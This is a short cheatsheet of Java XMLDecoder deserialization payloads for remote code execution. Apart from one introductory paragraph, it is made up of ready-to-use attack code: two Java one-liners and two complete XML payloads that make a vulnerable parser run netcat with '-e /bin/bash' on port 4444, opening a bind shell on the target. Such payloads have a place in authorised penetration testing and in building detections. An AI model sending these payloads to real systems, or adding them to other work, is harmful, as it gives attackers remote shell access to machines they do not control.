Java Beans XMLDecoder XML-deserialization Remote Code Execution payloads

java-XMLDecoder-RCE.md

Java Beans XMLDecoder Remote Code Execution cheatsheet

Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the XMLDecoder component of Java Beans, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters.

Payloads

When one would like to start a bind shell on the target machine, he could use the payload like the following one:

Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"});

In such case desired XML would look like the following one:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
      <void method="exec">
      <array class="java.lang.String" length="6">
          <void index="0">
              <string>/usr/bin/nc</string>
          </void>
          <void index="1">
              <string>-l</string>
          </void>
          <void index="2">
              <string>-p</string>
          </void>
          <void index="3">
              <string>4444</string>
          </void>
          <void index="4">
              <string>-e</string>
          </void>
          <void index="5">
              <string>/bin/bash</string>
          </void>
      </array>
      </void>
 </object>
</java>

or by using ProcessBuilder:

new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start()

Then the payload would look like:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="6">
      <void index="0">
        <string>/usr/bin/nc</string>
      </void>
      <void index="1">
         <string>-l</string>
      </void>
      <void index="2">
         <string>-p</string>
      </void>
      <void index="3">
         <string>4444</string>
      </void>
      <void index="4">
         <string>-e</string>
      </void>
      <void index="5">
         <string>/bin/bash</string>
      </void>
    </array>
    <void method="start" id="process">
    </void>
  </void>
</java>